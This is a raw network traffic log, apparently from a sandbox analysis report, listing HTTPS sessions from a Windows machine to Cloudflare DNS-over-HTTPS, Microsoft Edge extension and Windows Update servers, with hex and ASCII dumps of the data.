2024-09-01 00:48:33 UTC	1390	IN	Data Raw: 82 39 aa e0 7a ec d0 f9 66 30 94 41 fc df ee db 1c a9 13 e6 2d 30 13 82 a1 ce 12 31 7d 82 53 e2 83 47 45 59 27 58 b8 8f 29 06 91 69 cf 5a f8 cc 88 c6 0f 64 a8 24 03 ce ef 34 a6 34 d9 53 76 aa d1 f7 b6 0a 2b fc d4 75 76 ce 3a 75 4f 2d 57 df f3 bf de ff fb dd 66 83 81 23 92 f4 b0 c9 4d 75 c1 14 7c 9e f8 b8 ab 3c 75 20 0d 34 51 a3 0e b9 57 8f 5c c9 54 10 9d 35 cc 9b 85 ba 8d ce d3 40 ea df eb f4 bd c6 2c 8d bf 7f cb f8 66 fe ef 5a ba 1d ba 7f 9e b7 3c ff e1 39 cb 7f 7d 77 90 3e 1b 53 53 b5 ff 3a 2b 59 eb 1a b5 ef 9a f3 97 e0 e3 a3 e0 8e ca 4c fb 5e 74 ea 56 74 b6 f6 9f d3 57 e1 d7 9f b9 df 5e fe f7 bb 96 ae e7 1e 0d df 6b e7 fb 2c e6 b1 79 7f 1c 1b ef fb ff 1f ba be 0c 5d 77 5f 05 74 4c cd 62 ce b9 d6 b7 e6 3a 9d e3 7f 1f 1a cd c7 fb 67 75 fb f1 97 bf fe e3 Data Ascii: 9zf0A-01}SGEY'X)iZd$44Sv+uv:uO-Wf#Mu\|<u 4QW\T5@,fZ<9}w>SS:+YL^tVtW^k,y]w_tLb:gu
2024-09-01 00:48:33 UTC	1390	IN	Data Raw: 33 4d c7 0c 67 6e 81 d6 1e 0c 0b 79 e1 e5 4a 9e 81 e8 0e 6d e9 ca e1 60 fa 07 7f fa d2 b1 1f f7 7b ac 3f 4a 13 55 ac f1 4c 7f 94 cf f0 fa f1 b6 7e 2d 9f 5f f6 86 cc fe f1 ec 09 fd 70 24 26 57 1c cf 8f 61 96 f1 4e 24 37 5b 2c f1 37 09 ff 3e 8d 4e e3 76 3b 30 89 99 dc ba 80 99 fa f5 86 7a ab 17 00 10 99 70 d6 78 75 3f ec 5d 26 c0 29 73 23 b1 4d 01 b1 bd 85 22 65 c6 ae 4d 05 29 bb 19 a4 97 d3 26 50 39 76 5a 02 7b 3b 5c cd 19 16 9a 34 6a ca 98 31 83 a3 30 c0 8d 8b 90 69 14 2e 18 a7 11 fc 43 a4 1b 50 25 a6 9a b3 38 b3 01 a7 ed 89 86 13 1f da e6 66 69 88 9b 9b cb a3 0e 88 10 49 34 ac c5 ac 87 cc 0e df 3a 83 59 3f 4a c7 9a 9c 4a 52 22 4a 73 50 10 93 5b 04 26 5d e4 1b 03 5e 57 1d b5 9f 07 15 ea 11 56 a2 32 1c 57 08 4b 8e 3a dd 14 09 a5 9a 54 87 09 2c df 70 99 49 Data Ascii: 3MgnyJm`{?JUL~-_p$&WaN$7[,7>Nv;0zpxu?]&)s#M"eM)&P9vZ{;\4j10i.CP%8fiI4:Y?JJR"JsP[&]^WV2WK:T,pI
2024-09-01 00:48:33 UTC	1390	IN	Data Raw: 3d 97 d3 d8 25 32 96 b3 f5 13 f7 6e 04 c3 e8 d7 24 af 68 00 67 eb c3 66 e7 0c 80 f3 86 ed 66 61 be 93 2c c1 a2 81 5f 40 75 19 01 ec 81 b2 11 59 6b 02 01 7c 80 cd 06 9c b7 f6 39 2e 1b a2 d1 59 0b 31 ae 2b a8 f9 19 97 78 ba 9e 92 04 eb 38 0f b1 da 61 42 cf b8 b8 ab 80 50 16 da 7c e0 2a 5d 2e b6 61 3d 16 a7 f7 ad 25 37 09 0c 17 4a fa a3 b0 2f 74 b2 60 63 c4 b5 32 fd ca 4b dc 91 50 cd 08 cf a1 3e ef 10 50 75 05 0f a4 06 bb 61 21 1b 94 db 98 9a 6d 25 ee 69 db 2b 4b 9f 80 46 c6 7a 5d 13 fe 95 45 1a 44 be bd d3 f7 20 9f 7f 88 83 9f 5b 5b 41 3d 0c 7f 6e 6e 02 8a 0a a9 66 0f 64 38 ff 27 1a e0 86 95 3d 0e 65 8e 2a 9e ff b3 5a f5 13 b7 6b 4c e2 da dd 53 96 36 98 be 35 e0 8b a2 03 ec 6d 83 0f 98 a6 6a 9a 7d d4 30 cf b9 22 24 be 95 ed ae b5 82 4d 0c 6d 44 68 ea 50 61 Data Ascii: =%2n$hgffa,_@uYk\|9.Y1+x8aBP\|].a=%7J/t`c2KP>Pua!m%i+KFz]ED [[A=nnfd8'=eZkLS65mj}0"$MmDhPa
2024-09-01 00:48:33 UTC	1390	IN	Data Raw: c6 bc 81 e5 c6 01 f8 80 6e be 68 ae 8d 1a 92 d9 22 7c fb 47 cd 55 a8 b9 72 2b d4 f6 c4 b2 bb dd a3 21 3e c1 52 53 40 cc 0f 98 69 56 28 ab c0 b8 20 06 f5 02 9a 6f 68 bf 82 e6 8f 24 99 81 79 93 8e d4 f5 47 b4 3f 91 f0 93 e1 db ea 74 d9 df bc 02 e8 81 b4 53 49 59 03 c4 1b 90 6e de 93 27 17 a4 fa 97 68 50 4b ef a1 19 2a b3 8e 70 02 6b db 66 44 24 b0 33 79 cf de 43 b1 cd cd c3 41 86 8d 22 07 8e 36 37 b7 cc 9f 0b de bb 60 25 1c fe f7 ea 9b 07 c5 80 f6 9d 10 df 4c b8 27 ef 1c 14 d6 c4 c3 c8 1c ee dd 3d 4d da 8a 0c c4 52 71 54 0a cc 3d d5 5f 29 07 02 fd 8d 5b 75 1c 35 30 b0 47 f8 b3 f1 28 6e 46 7c 56 31 fc 89 c5 6c ca aa 76 67 10 f7 66 c9 bd 26 86 fd fd 33 5d db d6 b3 31 ae 67 3e af 13 4c ea cf 63 28 1c 73 d5 b7 cf 2e dd b8 9a fa 75 a8 12 83 1e ae 82 2c 32 d0 c3 Data Ascii: nh"\|GUr+!>RS@iV( oh$yG?tSIYn'hPK*pkfD$3yCA"67`%L'=MRqT=_)[u50G(nF\|V1lvgf&3]1g>Lc(s.u,2
2024-09-01 00:48:33 UTC	1390	IN	Data Raw: 0c 27 c9 15 33 8e 4d 6d 30 cb db c6 1d 95 4b 44 47 2a fe 65 6d 62 82 56 4a e1 cb 97 55 fc 6d 2d fc d8 a1 69 e9 bd ea 7b 41 b9 d4 6c 30 29 3a d9 54 cc 2c 05 5e a2 02 b3 c5 bb 08 19 d8 62 b9 d7 a5 62 06 3c 34 40 2e 25 3c 2e c3 97 e2 9d d1 3b c2 71 73 13 d5 e3 35 1f 0d 77 bd 52 9b 9d 01 9b 76 ce d3 0a 52 52 c7 6b 5d b2 e6 95 0a ae bf 14 a3 21 ab aa 31 20 bd b4 d7 42 bf e6 ac e0 5e 40 6f ac 03 3a 6a 01 54 03 d6 36 21 06 2c ba 37 91 a3 0c 4f d2 f8 12 13 46 bb 84 e9 6e dd 4f 81 45 78 78 68 42 e3 13 1f ac 1d 5f 60 04 f8 9a c2 4f 39 8e dc 8c 8d 17 91 02 eb a3 e5 59 ed 20 d2 12 4f e2 a7 7e 66 86 b7 89 8d 5e 42 dd ad 6d cf 2f c2 ed a0 58 e6 a4 e8 94 cb 4f a1 44 3b d4 2c b4 50 44 ce 14 d0 d2 b6 82 1a 45 be 6a b8 a8 f3 70 b4 81 60 59 46 50 39 3d 99 b2 b8 fb 19 23 90 Data Ascii: '3Mm0KDG*embVJUm-i{Al0):T,^bb<4@.%<.;qs5wRvRRk]!1 B^@o:jT6!,7OFnOExxhB_`O9Y O~f^Bm/XOD;,PDEjp`YFP9=#
2024-09-01 00:48:33 UTC	1390	IN	Data Raw: 4e 7f fd fa f3 8f 27 8f ff d8 06 aa 7b 8f 52 b0 a4 78 a6 f8 ce 72 c4 5f 39 36 74 23 3d a2 5e 64 ed 29 3c 87 d5 63 57 ef 41 05 40 38 0f e8 2f d0 e8 ee 60 78 31 a8 e0 aa 56 f0 9d a3 17 ab 1f c9 83 ee a5 c0 0c d4 43 84 42 20 54 19 07 77 89 e3 f9 04 05 67 92 9e a7 b0 83 ae 1c df b9 60 e3 01 68 2e f0 49 a9 c5 b0 3d 74 1f 03 d9 07 37 09 19 27 70 29 60 8f d4 1e 13 eb a4 2d 83 17 0b 58 58 65 0b 2b 09 80 2e 29 5a 5a 1e 7b 0b 46 a0 a2 7f e9 a8 77 64 98 5b 0e e4 3a 8a 11 91 76 32 04 ed 6a 28 4f 01 04 c6 70 85 84 f6 e7 b3 20 6e 41 39 10 d0 00 a9 42 a0 f8 c0 6e f0 6c 6d 44 a1 12 09 6c f4 67 bf 3f ab ff f1 f8 f1 1c 10 16 b7 35 9a 93 9f 70 5f e2 ca bd 60 c7 46 0f d8 18 13 66 58 1b 01 f9 88 5d 2a e3 a5 e8 eb b3 27 1a 94 30 a2 67 4f 44 be 18 97 0f cf c7 58 11 76 5a 6f 97 Data Ascii: N'{Rxr_96t#=^d)<cWA@8/`x1VCB Twg`h.I=t7'p)`-XXe+.)ZZ{Fwd[:v2j(Op nA9BnlmDlg?5p_`FfX]*'0gODXvZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49814	172.64.41.3	443	8384	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc1417258397cea-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d1 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49815	172.64.41.3	443	8384	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc141726ccf4339-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bc 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49816	162.159.61.3	443	8384	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:48:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-09-01 00:48:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:48:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc14172a9023354-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:48:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 59 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomYA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49832	152.195.19.97	443	8384	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:52 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1725756513&P2=404&P3=2&P4=m0BaPr%2fR58ol9MUP2AYwolVfZzOh8Mhc5WyNJgURKBMcsnK8wNLiGQ44cngzYcMYYt%2bGvGdDQPZBawSOOPGpCQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: YS1vxmI17NwdpcPlvrqdhD Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 00:48:52 UTC	632	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5078263 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Sun, 01 Sep 2024 00:48:52 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-09-01 00:48:52 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49841	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:56 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Puub8z+zVuouR5o&MD=HcBh4Tbs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-01 00:48:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 72f2b49f-3c70-4c7f-adab-ffba0e8d730f MS-RequestId: b7d37508-3f6c-4ed8-a8b5-7d04bd33fff8 MS-CV: mqkLF9WR2UappCnM.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 01 Sep 2024 00:48:56 GMT Connection: close Content-Length: 30005
2024-09-01 00:48:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-01 00:48:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49864	172.64.41.3	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:49:14 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-09-01 00:49:14 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA)QM
2024-09-01 00:49:14 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 01 Sep 2024 00:49:14 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc14263fecc42cd-EWR alt-svc: h3=":443"; ma=86400
2024-09-01 00:49:14 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0d 97 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 4f 00 06 00 01 00 00 00 77 00 23 03 6e 73 31 c0 4f 06 6d 73 6e 68 73 74 c0 11 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 3d 00 0c 01 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA-edge-microsoft-comdual-a-0036a-msedgenetOw#ns1Omsnhstx+"$)=9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49947	23.43.85.136	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:50:17 UTC	442	OUT	OPTIONS /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Origin: https://business.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 00:50:34 UTC	354	IN	HTTP/1.1 502 Bad Gateway Content-Length: 1477 Content-Type: text/html Date: Sun, 01 Sep 2024 00:50:34 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.c898d817.1725151817.3b00443e Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-09-01 00:50:34 UTC	1477	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 32 20 2d 20 57 65 62 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>502 - Web

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50027	13.107.246.40	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
